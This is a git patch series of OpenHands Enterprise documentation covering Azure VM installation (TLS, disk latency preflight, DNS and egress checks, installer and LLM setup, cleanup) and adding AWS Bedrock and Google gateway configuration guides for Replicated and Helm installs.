"*.${BASE_DOMAIN}" +``` + +Enter your ACME contact email and review the certificate authority's terms when +prompted. Certbot displays a TXT value to publish at +`_acme-challenge.<base-domain>`. Create it with the authoritative DNS provider, +wait for public resolution, and then continue the challenge. For Azure DNS, +the TXT record's relative name for this example is +`_acme-challenge.azure.openhands` in the `example.com` zone. + +```bash +dig +short TXT "_acme-challenge.${BASE_DOMAIN}" +``` + +After issuance, Certbot saves the full chain and private key under +`$HOME/letsencrypt/live/openhands-azure/`, owned by the user who ran Certbot. +Transfer those files through your +approved private channel, or substitute existing certificate files below. See +[Certbot's manual challenge guide](https://eff-certbot.readthedocs.io/en/stable/using.html#manual). +Manual challenges need to be repeated for renewal unless you configure an +authentication hook; choose a DNS plugin for unattended certificate issuance. + +Copy the full certificate chain and private key to a private directory on the +VM using your existing certificate files: + +```bash +ssh -i "$HOME/.ssh/openhands-azure" "azureuser@$VM_IP" \ + 'mkdir -p ~/tls && chmod 700 ~/tls' +scp -i "$HOME/.ssh/openhands-azure" /path/to/fullchain.pem \ + "azureuser@$VM_IP:tls/certificate.pem" +scp -i "$HOME/.ssh/openhands-azure" /path/to/privkey.pem \ + "azureuser@$VM_IP:tls/private-key.pem" +ssh -i "$HOME/.ssh/openhands-azure" "azureuser@$VM_IP" \ + 'chmod 600 ~/tls/*.pem' +``` + +Plan certificate renewal and upload the renewed certificate through the supported +Admin Console workflow. Initial issuance does not configure automatic renewal. + +For a Simple-mode install, one wildcard covers `admin`, `app`, `auth`, +`analytics`, `llm-proxy`, `runtime-api`, and dynamic `<id>-runtime` hostnames under +the base domain. If wildcard certificates are unavailable, follow the +[VM DNS/TLS alternative](/enterprise/vm-install/generic-vm#dns-and-tls-setup) and select +path-based sandbox routing. + +## Azure Disk Latency Preflight + +The installer measures write latency at its etcd data directory. Nominal disk +capacity, a Premium SSD label, and provisioned IOPS do not prove that this check +will pass. In an evaluation of this example's 1,024 GiB P30 disk, the first +measurement was `10.027008 ms` P99 against the required `<10 ms`, and the installer +stopped before cluster deployment. A repeat with the disk unchanged measured +`9.633792 ms` and passed. Both measurements were close to the threshold; +validate your own host and plan performance headroom for production. + +If your disk fails this check, review the measured result, VM storage limits, +and disk performance tier with your Azure administrator. Azure supports +[increasing a Premium SSD performance tier](https://learn.microsoft.com/en-us/azure/virtual-machines/disks-performance-tiers) +without increasing disk capacity. Higher tiers change disk billing and still +require a passing latency preflight. Do not bypass the check or use the temporary +resource disk for persistent installation data. + +## Preflight Validation + +All items below must be completed before running the installer: + +- VM meets CPU, memory, disk, and OS requirements +- DNS records are created and resolve from the VM +- Inbound ports are open: `80`, `443`, and `30000` +- Outbound domains are reachable from the VM +- HTTPS egress to `api.anthropic.com` is available +- GitHub App prerequisites are prepared +- (Optional) [External PostgreSQL](/enterprise/external-postgres) instance provisioned if using your own database + +<Warning> + Do not run the installer until preflight checks pass. +</Warning> + +### DNS Checks + +Run the checks below on the target VM before opening the installer dashboard. + +Export your base domain: + +```bash +export BASE_DOMAIN="azure.openhands.example.com" +``` +Test DNS: +```bash +for h in "admin.${BASE_DOMAIN}" "app.${BASE_DOMAIN}" "test-runtime.${BASE_DOMAIN}"; do + echo "[DNS] $h" + getent hosts "$h" || nslookup "$h" +done +``` + +Expected: each hostname resolves to your VM's public IP address through the +wildcard record. + +### Outbound Connectivity Checks + +```bash +urls=( + "https://replicated.app" + "https://proxy.replicated.com/v2/" + "https://images.r9.all-hands.dev/v2/" + "https://install.r9.all-hands.dev" + "https://charts.r9.all-hands.dev" + "https://updates.r9.all-hands.dev" + "https://github.com" + "https://traefik.github.io/charts/index.yaml" + "https://registry-1.docker.io/v2/" + "https://ghcr.io/v2/" + "https://api.anthropic.com" +) + +for u in "${urls[@]}"; do + # HTTP 000 means connection failure (DNS failure, timeout, or blocked network path). + code=$(curl -sSIL --max-time 15 -o /dev/null -w "%{http_code}" "$u" || true) + if [ "$code" = "000" ]; then + echo "FAIL $u" + else + echo "OK $u (HTTP $code)" + fi +done +``` + +Any HTTP response code other than `000` is acceptable for reachability checks +(for example `200`, `301`, `302`, `401`, `403`, `405`). + +If any check fails, stop and resolve before continuing: +- DNS failures: Verify records are created, point to the right target, and have finished propagating +- Outbound connectivity failures: Check firewall egress rules, proxy settings, and TLS inspection policies + +## Reasons for Requirements + +| Requirement | Why It Exists | +|------------|----------------| +| `443/TCP` inbound | Primary HTTPS entrypoint for users and service hostnames | +| `30000/TCP` inbound | Replicated/KOTS Admin Console for install and configuration | +| `80/TCP` inbound | HTTP entrypoint used for ingress/redirect behavior | +| `*.<domain>` DNS + cert SAN | Application services and sandboxes are addressed by hostnames under the base domain | +| `replicated.app`, `proxy.replicated.com` | Replicated control-plane/license/install paths | +| `images.r9...`, `charts.r9...`, `updates.r9...`, `install.r9...` | Vendor distribution image/chart/update/install endpoints | +| `traefik.github.io` | Embedded cluster ingress chart repository | +| `ghcr.io`, `registry-1.docker.io` | Container image pulls for platform components | +| `github.com` | GitHub App setup/auth/webhooks and downloading public agent skills | +| `api.anthropic.com` | Anthropic inference for the initial model configuration | + +## Run the Installer + +### 1. Access the Installer Dashboard + +After preflight validation checks have passed, [register for a free 30-day trial](https://install.r9.all-hands.dev/openhands/signup), then +log in to the installer dashboard. You will see the dashboard below. +Click **"View install guide"** in the Install tile. + +![Installer Dashboard](/enterprise/images/admin-dashboard.png) + +### 2. Name Your Instance + +Enter a name for your instance (e.g., your company name or environment identifier). +Select **"Outbound requests allowed"** for Network Availability, then click **Continue**. + +![Instance name and network availability](/enterprise/images/install-instance-name.png) + +### 3. Run the Installation Commands + +The install guide provides commands to run on your VM. SSH into your VM and execute them in order: + +1. **Select a version** -- select `0.74.0` to reproduce the validated installation + below. The dashboard pre-selects the latest release; later releases were not + tested for this guide. If `0.74.0` is unavailable, ask OpenHands Support for a + supported release and repeat the preflight and first-conversation checks. +2. **Download the installation assets** -- copy and run the `curl` command shown +3. **Extract the installation assets** -- run the `tar` command shown (this includes your license file) +4. **Install** -- run the install command shown + +If the install command fails after preflight checks pass, see +[Troubleshooting](/enterprise/troubleshooting) to generate a support +bundle and open a support ticket. + +<Warning> + **Provide your TLS certificates during installation.** For this Azure VM, + use the certificate paths prepared above: + + ```bash + sudo ./openhands install --license license.yaml \ + --tls-cert ~/tls/certificate.pem \ + --tls-key ~/tls/private-key.pem + ``` + + You can also omit the `--tls-cert` and `--tls-key` flags and upload certificates later through + the Admin Console. + + For trials and production deployments, use a publicly trusted TLS certificate whenever possible. + Private CA certificates may work for users after manual trust setup, but external integrations + such as GitHub, GitLab, Slack, Jira, and Bitbucket must also trust the certificate chain. If they + do not, webhook or OAuth callbacks can fail TLS verification and repeatedly retry. +</Warning> + +![Installation commands](/enterprise/images/install-commands.png) + +### 4. Access the Admin Console + +Once the install command completes, the Admin Console is available at: +- `https://admin.<your-base-domain>:30000` (if you provided TLS certificates) +- The URL printed by the installer (if you did not provide TLS files) + +If the installer uses a self-signed certificate, the browser displays a security +warning. Verify that you are connecting to the intended VM, then follow your +organization's policy for accessing the initial Admin Console. Upload a trusted +certificate before configuring external callbacks. + +![Self-signed certificate warning](/enterprise/images/self-signed-cert-warning.png) + +### 5. Upload TLS Certificate (If Not Provided With the Install Command) + +If you did not provide certificates with the `install` command, select **"Upload your own"**, +enter `admin.<your-base-domain>` under **Hostname**, upload your private key and SSL certificate, then click **Continue**. + +If you upload a private CA certificate, make sure any external webhook or OAuth provider that +calls OpenHands also trusts that CA. + +![Upload TLS certificate](/enterprise/images/upload-tls-certificate.png) + +### 6. Log In to the Admin Console + +Enter the password you set during installation and click **Log in**. + +![Admin Console login](/enterprise/images/admin-console-login.png) + +### 7. Configure the Cluster + +You will be prompted to add additional nodes to the cluster. +For a single-node deployment, click **Continue** to skip this step. + +![Configure cluster nodes](/enterprise/images/configure-cluster-nodes.png) + +## Configure OpenHands + +You should now see the application configuration page. + +![Configure OpenHands](/enterprise/images/configure-openhands.png) + +### Domain Configuration + +- Keep the Hostname Configuration Mode set to **"Simple (default)"** +- Enter your base domain (e.g., `azure.openhands.example.com`) + +### Certificate Configuration + +- Upload your **TLS Certificate** (`.crt` or `.pem`) +- Upload your **TLS Private Key** (`.key` or `.pem`) +- Optionally upload the root **CA Certificate** for your TLS certificates + +### LLM Configuration + +<Note> +Configure managed models in the Replicated Admin Console under `Config → LLM +Configuration`, then save and deploy the configuration. Select those models in +OpenHands. This Quick Start does not require signing into LiteLLM or calling its +API directly. If a configured model is missing, use +[Troubleshooting](/enterprise/troubleshooting) and contact OpenHands Support; +do not register it directly in LiteLLM to bypass the problem. +</Note> + +Choose an LLM provider from the LLM Configuration dropdown and enter the details +from that provider. + +![LLM Configuration provider dropdown](/enterprise/images/llm-configuration-provider-dropdown.png) + +For the initial installation, select `Anthropic (Claude)` and enter your key in +`Anthropic API Key`. Keep or replace the default `Anthropic Models` entries with model IDs +that your account can access, one per line. Confirm the model selected in +OpenHands can complete a request before changing providers. + +Permit HTTPS egress to `api.anthropic.com` in addition to the installer and +image endpoints listed above. Azure OpenAI resources and keys are not required +for this baseline. + +### Database Configuration + +By default, OpenHands Enterprise uses a bundled PostgreSQL database. If you need to use your +own PostgreSQL instance (for example, to integrate with existing database infrastructure or +meet specific backup/HA requirements), see [External PostgreSQL](/enterprise/external-postgres) +for setup instructions. + +### GitHub Authentication + +Enable GitHub Authentication in the Admin Console, then follow these steps to create and +configure a GitHub App. + +#### Create a GitHub App + +For a new base domain, create a dedicated GitHub App so existing installations +keep their webhook routing. A retired installation's app can be reused after +updating its homepage, OAuth callback, and webhook to the new domain and +verifying its repository scope and credentials. A GitHub App has one webhook +URL, so sharing it across simultaneous installations requires a separate routing +solution. + +For Simple mode, the callback is +`https://auth.<base-domain>/realms/allhands/broker/github/endpoint` and the webhook +is `https://app.<base-domain>/integration/github/events`. + +Run our [script](https://github.com/OpenHands/OpenHands-Cloud/tree/main/scripts/create_github_app) to create a GitHub App configured for your install. + +#### Map GitHub App Values to Admin Console + +Go back to the Installer Admin Console in your browser and enter the values from the Create GitHub App script output. For the private key, upload the file from the `keys` directory of the script location. + +See [GitHub](/enterprise/integrations/github) for GitHub App installation, +`@openhands` resolver behavior, pull request review identity, and repository-level +review controls. + +### Additional Integrations + +If your team uses Jira Data Center or Bitbucket Data Center, follow these guides +to configure Admin Console values before deployment and complete webhook setup +inside OpenHands after deployment. + +<CardGroup cols={2}> + <Card title="Bitbucket Data Center" icon="code-branch" href="/enterprise/integrations/bitbucket-data-center"> + Configure Bitbucket Data Center login, repository access, bot identity, and pull request webhooks. + </Card> + <Card title="Jira Data Center" icon="building" href="/enterprise/integrations/jira-data-center"> + Configure Jira issue triggers, OAuth account linking, service account credentials, and Jira webhooks. + </Card> +</CardGroup> + +After filling in all fields, click **Continue** at the bottom of the page. + +## Deploy and Verify + +OpenHands will begin deploying. You can expect the deployment status to transition from +**Missing** to **Unavailable** to **Ready**. This typically takes 5-10 minutes. + +![Deployment in progress](/enterprise/images/deployment-in-progress.png) + +Click **Details** next to the deployment status to monitor individual resources. Resources +shown in orange are still deploying -- wait until all resources are ready. + +![Deployment status details](/enterprise/images/deployment-status-details.png) + +## First Login + +Once the deployment status shows **Ready**, navigate to `https://app.<your-base-domain>` +and click the **Login with GitHub** tile. + + +Accept the Terms of Service and click **Continue**. + +![Accept Terms of Service](/enterprise/images/accept-terms-of-service.png) + +Start a new conversation without a repository. Ask it to run `pwd`, write +`OPENHANDS_INSTALL_PASS` to `/tmp/openhands-install-smoke.txt`, and read the file +back with `cat`. Expand the terminal tool result and verify the actual workspace +path and marker output, rather than relying only on the model's summary. The +Agent Canvas server status should show **Running**. Then verify repository discovery and a +repository-backed conversation. + +Deployment readiness alone does not prove that inference and sandbox startup work. +If the first conversation fails, use [Troubleshooting](/enterprise/troubleshooting) +to collect evidence before adding optional integrations. + +![OpenHands is ready](/enterprise/images/openhands-ready.png) + +<Note> +Azure hosting and Azure model inference are separate. The Azure VM installation +and Anthropic workflow in this guide were validated on Replicated `0.74.0`. +Keep **Anthropic (Claude)** selected for this installation. Do not select +**Azure** in **LLM Configuration** for this validated path. Azure OpenAI gateway +setup is deferred until a release contains the required provider fix and that +released package has been validated. +</Note> + +## Operations and Cleanup + +- Back up the database and required persistent application data before upgrades + or removal. A single VM and bundled PostgreSQL do not provide high availability. +- Keep the static IP, DNS record, and certificate renewal process together. + Expired TLS can break login and external callbacks even while pods are healthy. +- Use the Admin Console for supported updates and deployment settings. If host + or first-conversation validation fails, collect a + [support bundle](/enterprise/troubleshooting) before changing workloads. +- Stopping the VM is not complete cleanup: managed disks and public IPs can + continue to incur charges. + +To remove a disposable evaluation, first inspect the dedicated resource group: + +```bash +az resource list --resource-group "$RG" \ + --query '[].{name:name,type:type}' --output table +``` + +After confirming that every resource belongs to this evaluation and saving any +required data, delete only that group: + +```bash +az group delete --name "$RG" +``` + +Delete the evaluation wildcard DNS record separately if its zone is outside the +group. Retain a reused GitHub App if it is needed for another installation; +otherwise remove its repository installation and app through GitHub settings. +Preserve shared DNS zones and resources outside the dedicated installation group. + +## Validation Scope + +<Note> +Validated with Replicated `0.74.0` on a dedicated Azure VM using +`Standard_D16s_v3`, Ubuntu 24.04 LTS and a 1,024 GiB Premium SSD OS disk: +host preflight passed on rerun without overrides, application preflights passed, +trusted HTTPS, GitHub login, +persistent PostgreSQL storage, an Anthropic-backed conversation and a manually +dispatched automation, and a read-only repository conversation. The automation +schedule was disabled after testing. + +Backup/restore, multiple nodes and automatic certificate renewal were not +covered by these checks. Replicated `0.76.0` was not validated for this guide. +</Note> + +## Next Steps + +<CardGroup cols={2}> + <Card title="Enterprise Overview" icon="building" href="/enterprise/index"> + Learn about OpenHands Enterprise features, integrations, and deployment options. + </Card> + <Card title="Prompting Best Practices" icon="lightbulb" href="/openhands/usage/tips/prompting-best-practices"> + Get the most out of your AI coding agents with effective prompting techniques. + </Card> + <Card title="Troubleshooting" icon="life-ring" href="/enterprise/troubleshooting"> + Collect diagnostics, inspect workloads, and contact OpenHands Support. + </Card> + <Card title="OpenHands Documentation" icon="book" href="/overview/introduction"> + Explore the full OpenHands documentation for usage guides and features. + </Card> +</CardGroup> From 578924fde839c5709d050e7fcc2693ea452987e5 Mon Sep 17 00:00:00 2001 From: Rajiv Shah <rshah@pobox.com> Date: Mon, 19 Oct 2026 10:56:07 -0500 Subject: [PATCH 82/97] docs: add AWS Bedrock gateway guide for Helm and Replicated (#874) * docs: add AWS Bedrock gateway guide for Helm and Replicated * docs: clarify adding Bedrock models in Replicated and Helm * docs: clarify Bedrock Admin Console authentication fields * Align Bedrock managed gateway profiles with provider guides --- docs.json | 1 + .../integrations/aws-bedrock-llm-gateway.mdx | 208 ++++++++++++++++++ enterprise/integrations/overview.mdx | 3 + enterprise/k8s-install/installation.mdx | 3 + .../admin-console-configuration.mdx | 2 +- 5 files changed, 216 insertions(+), 1 deletion(-) create mode 100644 enterprise/integrations/aws-bedrock-llm-gateway.mdx diff --git a/docs.json b/docs.json index cce7e635e..100a593e5 100644 --- a/docs.json +++ b/docs.json @@ -619,6 +619,7 @@ "enterprise/integrations/slack", "enterprise/integrations/external-llm-gateways", "enterprise/integrations/azure-llm-gateway", + "enterprise/integrations/aws-bedrock-llm-gateway", "enterprise/integrations/observability-platforms" ] }, diff --git a/enterprise/integrations/aws-bedrock-llm-gateway.mdx b/enterprise/integrations/aws-bedrock-llm-gateway.mdx new file mode 100644 index 000000000..d0a729bda --- /dev/null +++ b/enterprise/integrations/aws-bedrock-llm-gateway.mdx @@ -0,0 +1,208 @@ +--- +title: AWS Bedrock LLM Gateway +description: Connect Amazon Bedrock models through the OpenHands Enterprise LLM gateway. +icon: cloud +--- + +OpenHands Enterprise can use Amazon Bedrock through its bundled LiteLLM +gateway. Configure the gateway according to how you installed OpenHands. +The Helm IRSA example assigns the Bedrock role to the **LiteLLM ServiceAccount**. +Replicated uses the credential behavior described in its tab below. + +## Configure the Gateway + +<Tabs> +<Tab title="Replicated"> + +1. Open the [Admin Console LLM configuration](/enterprise/vm-install/admin-console-configuration#llm-configuration). +2. Select `AWS Bedrock` and enter the AWS Region. +3. Under `AWS Authentication Method`, choose one of the Admin Console options: + - `Access Key + Secret`: enter the `AWS Access Key ID` and matching + `AWS Secret Access Key` in their required fields. + - `EC2 Instance Profile`: attach an IAM role to the EC2 instance. In a + containerized installation, set the instance metadata service (IMDS) + response hop limit to at least 2 so the LiteLLM pod can reach it. + + Grant the chosen IAM identity `bedrock:InvokeModel` and + `bedrock:InvokeModelWithResponseStream` for every model you add. +4. In `Bedrock Model IDs`, enter **one Bedrock model ID or inference profile ID + per line**. Enter the IDs as AWS provides them, without the `bedrock/` + prefix. For example: + + ```text + us.anthropic.claude-haiku-4-5-20251001-v1:0 + us.anthropic.claude-sonnet-4-5-20250929-v1:0 + ``` + + The Admin Console creates a separate bundled-gateway model for each line. + The first line becomes the installation default. Use IDs available to your + account and selected Region; check each inference profile with + `aws bedrock get-inference-profile` before adding it. +5. Save the configuration and deploy the updated version. + +If you add a cross-Region inference profile, keep its full ID, including the +`us.` prefix in these examples. Your IAM policy must permit the profile and +its destination models. A standard model ID is Region-specific. The +`Allow users to configure their own LLM providers (BYOK)` checkbox controls +whether users can add personal providers; it is not required for these +administrator-managed Bedrock models. + +<Note> +In the Replicated static-key configuration, the installer also passes the AWS +access key and secret into sandbox environments. With an EC2 instance profile, +sandboxes may also reach IMDS unless your network controls prevent that access; +a response hop limit of 2 does not isolate credentials to the gateway. +Scope the IAM identity for this deployment behavior rather than assuming that +only the LiteLLM pod can use it. +</Note> + +</Tab> +<Tab title="Helm"> + +### Prerequisites + +- A working [OpenHands Enterprise Helm installation](/enterprise/k8s-install/installation). +- A Bedrock model that supports the agent's tool use, with model access enabled + in your AWS account. Confirm its Region and, if required, its inference + profile ID in the [Bedrock model catalog](https://docs.aws.amazon.com/bedrock/latest/userguide/models.html). +- HTTPS access from the bundled LiteLLM pod to the Bedrock Runtime endpoint. + +The example below uses an **EKS IAM role for service accounts (IRSA)**, so it +does not put long-lived AWS keys in Helm values or Kubernetes Secrets. Other +Kubernetes platforms can supply AWS credentials to the LiteLLM pod using +their supported credential mechanism. + +### 1. Grant the LiteLLM Service Account Bedrock Access + +Create an IAM role whose trust policy allows your EKS cluster's OIDC provider +to assume it only for the ServiceAccount +`system:serviceaccount:openhands:openhands-litellm-bedrock`. Follow the +[AWS IRSA setup guide](https://docs.aws.amazon.com/eks/latest/userguide/iam-roles-for-service-accounts.html) +to create the OIDC provider and role. If you use a different namespace or +ServiceAccount name, use those values in both the trust policy and Helm values. + +Grant the role `bedrock:InvokeModel` and +`bedrock:InvokeModelWithResponseStream` for every model you will use. If a +model requires a cross-Region inference profile, include the inference +profile ARN in the source Region and every destination foundation-model ARN +returned by `GetInferenceProfile`. For example: + +```bash +aws bedrock get-inference-profile \ + --region <source-region> \ + --inference-profile-identifier <profile-id> \ + --query '{profile:inferenceProfileArn,models:models[*].modelArn}' +``` + +Restrict the policy to those returned ARNs. AWS also requires your +organization's service control policies to allow the profile's destination +Regions; see [cross-Region inference permissions](https://docs.aws.amazon.com/bedrock/latest/userguide/inference-profiles-support.html). + +### 2. Add a Bedrock Route to Helm Values + +Merge the following into your **complete** installation `values.yaml`. Keep +your existing `litellm-helm.proxy_config.model_list` entries: Helm replaces +lists when applying overrides. Replace the role ARN, Region, and model ID with +your own values. + +```yaml +litellm-helm: + serviceAccount: + create: true + name: openhands-litellm-bedrock + annotations: + eks.amazonaws.com/role-arn: arn:aws:iam::<account-id>:role/<bedrock-role> + proxy_config: + model_list: + # Retain your existing model entries here. + - model_name: bedrock-haiku-4-5 + litellm_params: + model: bedrock/us.anthropic.claude-haiku-4-5-20251001-v1:0 + aws_region_name: us-west-2 + - model_name: bedrock-sonnet-4-5 + litellm_params: + model: bedrock/us.anthropic.claude-sonnet-4-5-20250929-v1:0 + aws_region_name: us-west-2 +``` + +Add one `model_list` entry per model. Each `model_name` is the alias OpenHands +uses to select that route. In Helm values, prefix the AWS model or inference +profile ID with `bedrock/` in `litellm_params.model`; the Admin Console field +above takes the raw ID instead. If you change the alias that should be the +installation default, also set `env.LITELLM_DEFAULT_MODEL` to +`litellm_proxy/<alias>` in the same values file. + +### 3. Apply and Verify + +Use the licensed chart URL and version from your installation: + +```bash +helm upgrade openhands "$OPENHANDS_CHART_URL" \ + --namespace openhands \ + --version "$OPENHANDS_CHART_VERSION" \ + --values values.yaml \ + --wait --timeout 10m + +kubectl -n openhands rollout status deployment/openhands-litellm +kubectl -n openhands get serviceaccount openhands-litellm-bedrock \ + -o jsonpath='{.metadata.annotations.eks\.amazonaws\.com/role-arn}' +``` + +Adjust the namespace, release name, and Deployment name if they differ in your +installation. The annotation should contain the IAM role ARN from your values. + +</Tab> +</Tabs> + +## Select the Model in OpenHands + +For a Replicated installation, select the Bedrock model configured in the +Admin Console. For a Helm installation, create a profile in `Settings` → `LLM` +for each gateway alias you want users to select. For the first Helm example +above, use: + +| Field | Value | +| --- | --- | +| Profile Name | `Bedrock-Haiku-4-5` | +| Model | `openhands/bedrock-haiku-4-5` | +| Base URL | `http://openhands-litellm.openhands.svc.cluster.local:4000` | +| API Key | Leave unset; use the managed gateway credential | + +Use your installation's actual LiteLLM Service name and namespace. The profile +points to the **internal gateway**, not to a Bedrock endpoint. +For the second Helm route, create another profile with Model +`openhands/bedrock-sonnet-4-5` and the same Base URL. + +## Start Using the Model + +1. Select the Bedrock profile and start a new conversation. +2. Ask the agent to run `pwd`. +3. Confirm it starts a sandbox, runs the command, and replies with the output. + +## Troubleshooting + +<AccordionGroup> +<Accordion title="Bedrock AccessDeniedException"> +Check the IAM role annotation on the LiteLLM ServiceAccount, the role trust +policy's exact namespace and ServiceAccount subject, and the role's model +invocation policy. For a cross-Region inference profile, include its source +profile ARN and all destination model ARNs; check organization service control +policies for denied Regions. +</Accordion> +<Accordion title="Model or inference profile not found"> +Check the exact model or profile ID and `aws_region_name`. A model available in +one Region may require an inference profile in another. +</Accordion> +<Accordion title="The profile cannot reach the gateway"> +Check the internal LiteLLM Service DNS name, namespace, and profile base URL. +Confirm the LiteLLM Deployment is ready and its logs show the Bedrock route. +</Accordion> +<Accordion title="The model answers a short prompt but the agent cannot work"> +Confirm the Bedrock model supports tool use and that its account quotas allow +larger agent prompts. Test a full conversation with a sandbox command, not +only a direct model completion. +</Accordion> +</AccordionGroup> + +For provider-specific model configuration, see +[LiteLLM's Bedrock reference](https://docs.litellm.ai/docs/providers/bedrock). diff --git a/enterprise/integrations/overview.mdx b/enterprise/integrations/overview.mdx index 4e6586c43..48f957faa 100644 --- a/enterprise/integrations/overview.mdx +++ b/enterprise/integrations/overview.mdx @@ -144,6 +144,9 @@ See [MCP Settings](/openhands/usage/settings/mcp-settings) to add and configure <Card title="External LLM Gateways" icon="network-wired" href="/enterprise/integrations/external-llm-gateways"> Route LLM traffic through your existing LiteLLM or Bifrost gateway for routing, cost tracking, and audit. </Card> + <Card title="AWS Bedrock" icon="cloud" href="/enterprise/integrations/aws-bedrock-llm-gateway"> + Connect Bedrock models through the bundled gateway on Replicated or Helm. + </Card> <Card title="External Observability Platforms" icon="chart-line" href="/enterprise/integrations/observability-platforms"> Send conversation traces to your own OTLP-compatible platform, such as Langfuse, Honeycomb, or Tempo. </Card> diff --git a/enterprise/k8s-install/installation.mdx b/enterprise/k8s-install/installation.mdx index 2990bb027..23ae67358 100644 --- a/enterprise/k8s-install/installation.mdx +++ b/enterprise/k8s-install/installation.mdx @@ -366,6 +366,9 @@ overrides on the same release — edit your `values.yaml` and apply with <Card title="Automations" icon="clock" href="/enterprise/k8s-install/automations"> Run scheduled or event-triggered tasks on a Helm installation. </Card> + <Card title="AWS Bedrock" icon="cloud" href="/enterprise/integrations/aws-bedrock-llm-gateway"> + Route models through the bundled gateway using an IAM role on EKS. + </Card> <Card title="Plugin Marketplace" icon="puzzle-piece" href="/enterprise/plugin-marketplace"> Offer curated plugins to your users. </Card> diff --git a/enterprise/vm-install/admin-console-configuration.mdx b/enterprise/vm-install/admin-console-configuration.mdx index d8bd2b3d3..162b11028 100644 --- a/enterprise/vm-install/admin-console-configuration.mdx +++ b/enterprise/vm-install/admin-console-configuration.mdx @@ -108,7 +108,7 @@ Select the administrator-managed LLM provider. The Admin Console shows only the ### Provider Notes - For Azure, deployment names must exist at the configured endpoint and API version. See [Azure LLM Gateway](/enterprise/integrations/azure-llm-gateway) for setup and verification. -- For AWS Bedrock, use an EC2 instance profile where possible. Pods must be able to reach the instance metadata service, and the role needs model invocation permissions. +- For AWS Bedrock, use an EC2 instance profile where possible. Pods must be able to reach the instance metadata service, and the role needs model invocation permissions. See the [AWS Bedrock gateway guide](/enterprise/integrations/aws-bedrock-llm-gateway) for model IDs, inference profiles, and verification. - For custom OpenAI-compatible endpoints, prefix model names with `openai/`. - Model lists accept one model per line. From 71e5398086ebb9319a756c0f9ef187f13c8966e6 Mon Sep 17 00:00:00 2001 From: Rajiv Shah <rshah@pobox.com> Date: Mon, 19 Oct 2026 11:24:16 -0500 Subject: [PATCH 83/97] docs: add Google Vertex AI and Gemini gateway guide (#879) * docs: add Google Vertex AI and Gemini gateway guide * Preserve measured validation and clarify supported configuration scope * Use verified profile UI fields and tested organization API overrides * State Google profile validation scope precisely * Clarify Replicated Google credential distribution --- docs.json | 1 + .../integrations/google-llm-gateway.mdx | 300 ++++++++++++++++++ enterprise/integrations/overview.mdx | 3 + enterprise/k8s-install/installation.mdx | 3 + .../admin-console-configuration.mdx | 1 + 5 files changed, 308 insertions(+) create mode 100644 enterprise/integrations/google-llm-gateway.mdx diff --git a/docs.json b/docs.json index 100a593e5..84e7643cc 100644 --- a/docs.json +++ b/docs.json @@ -620,6 +620,7 @@ "enterprise/integrations/external-llm-gateways", "enterprise/integrations/azure-llm-gateway", "enterprise/integrations/aws-bedrock-llm-gateway", + "enterprise/integrations/google-llm-gateway", "enterprise/integrations/observability-platforms" ] }, diff --git a/enterprise/integrations/google-llm-gateway.mdx b/enterprise/integrations/google-llm-gateway.mdx new file mode 100644 index 000000000..ae4818bbe --- /dev/null +++ b/enterprise/integrations/google-llm-gateway.mdx @@ -0,0 +1,300 @@ +--- +title: Google LLM Gateway +description: Connect Google AI Studio and Vertex AI models through the OpenHands Enterprise LLM gateway. +icon: google +--- + +OpenHands Enterprise connects to Google models through its bundled LiteLLM +gateway. These configurations apply whether OpenHands runs on GKE or another +supported Kubernetes platform. The Helm examples configure Google credentials +on the bundled gateway. Replicated also provides Vertex credentials to sandbox +environments, as described below. + +Choose your installation method: + +- **Replicated**: configure the gateway in the Admin Console. +- **Helm**: configure the gateway through your installation values. + +## Choose the Provider Route + +Choose the route that matches your Google credentials: + +| Route | Google Authentication | LiteLLM Model Prefix | +| --- | --- | --- | +| Google AI Studio (Gemini API) | Gemini API key | `gemini/` | +| Google Cloud Platform (Vertex AI) | Google Cloud project, location, and service account | `vertex_ai/` | + +These are separate APIs, even when both serve a model named +`gemini-2.5-flash`. In Replicated, the Admin Console selects one Google API +type. A Helm installation can expose both as different gateway aliases. + +## Configure the Gateway + +<Tabs> +<Tab title="Replicated"> + +1. Open the [Admin Console LLM configuration](/enterprise/vm-install/admin-console-configuration#llm-configuration) + and select `Google` as the provider. +2. Under `Google API Type`, choose one route: + - `Google AI Studio (Gemini API)`: enter the `Google Gemini API Key` from + [Google AI Studio](https://ai.google.dev/gemini-api/docs/api-key). In + `Gemini Models`, enter one model ID per line. + - `Google Cloud Platform (Vertex AI)`: enter the `Google Cloud Project ID` + and `Google Cloud Location`, then upload the `Google Cloud Service Account + JSON file`. In `Vertex AI Models`, enter one model ID per line. Enable the + Vertex AI API in the project and grant the service account the + [Vertex AI User role](https://docs.cloud.google.com/iam/docs/roles-permissions/aiplatform) + or equivalent model-inference permissions. +3. Enter the raw model IDs, without a `gemini/` or `vertex_ai/` prefix. For + example, the Vertex field can contain: + + ```text + gemini-2.5-flash + gemini-2.5-pro + ``` + + The Admin Console creates one bundled-gateway route per line, and the first + line becomes the installation default. Confirm that each model is available + to your account and, for Vertex, in your selected location. +4. Save the configuration and deploy the updated version. + +The uploaded service-account file is used by the bundled gateway. Replicated +also passes its JSON contents into sandbox environments as +`VERTEXAI_CREDENTIALS`, together with the configured project and location. Scope +that service account for this deployment behavior; do not assume its credential +is available only to the gateway. Keep the file out of source control. The `Allow users to configure their own LLM providers +(BYOK)` checkbox is separate from these administrator-managed models. + +</Tab> +<Tab title="Helm"> + +### Prerequisites + +- A working [OpenHands Enterprise Helm installation](/enterprise/k8s-install/installation). +- A Google model that supports tool use and is available through your chosen + API. The examples use `gemini-2.5-flash`. +- HTTPS access from the bundled LiteLLM pod to `generativelanguage.googleapis.com` + for Gemini API, or your Vertex API endpoint and `oauth2.googleapis.com` for Vertex. +- For Vertex, a project with billing and the Vertex AI API enabled, a supported + model/location, and service-account inference permissions. +- Enough model quota for agent prompts and tool definitions. + +Choose either route below, or add both to your **complete** installation +`values.yaml`. Keep your existing `litellm-helm.proxy_config.model_list`, +`environmentSecrets`, `volumes`, and `volumeMounts` entries when adding new +ones: Helm replaces lists when applying overrides. Use distinct `model_name` +aliases when both routes expose the same Google model ID. + +### Google AI Studio (Gemini API) + +Create a Kubernetes Secret from a private file containing your +[Gemini API key](https://ai.google.dev/gemini-api/docs/api-key): + +```bash +kubectl -n openhands create secret generic google-ai-studio-gateway \ + --from-file=GOOGLE_API_KEY=/path/to/private/gemini-api-key +``` + +Add that Secret to the gateway's existing `environmentSecrets` list and append +one route per model to `model_list`: + +```yaml +litellm-helm: + environmentSecrets: + - litellm-env-secrets + - google-ai-studio-gateway + proxy_config: + model_list: + # Retain your existing model entries here. + - model_name: google-ai-studio-flash + litellm_params: + 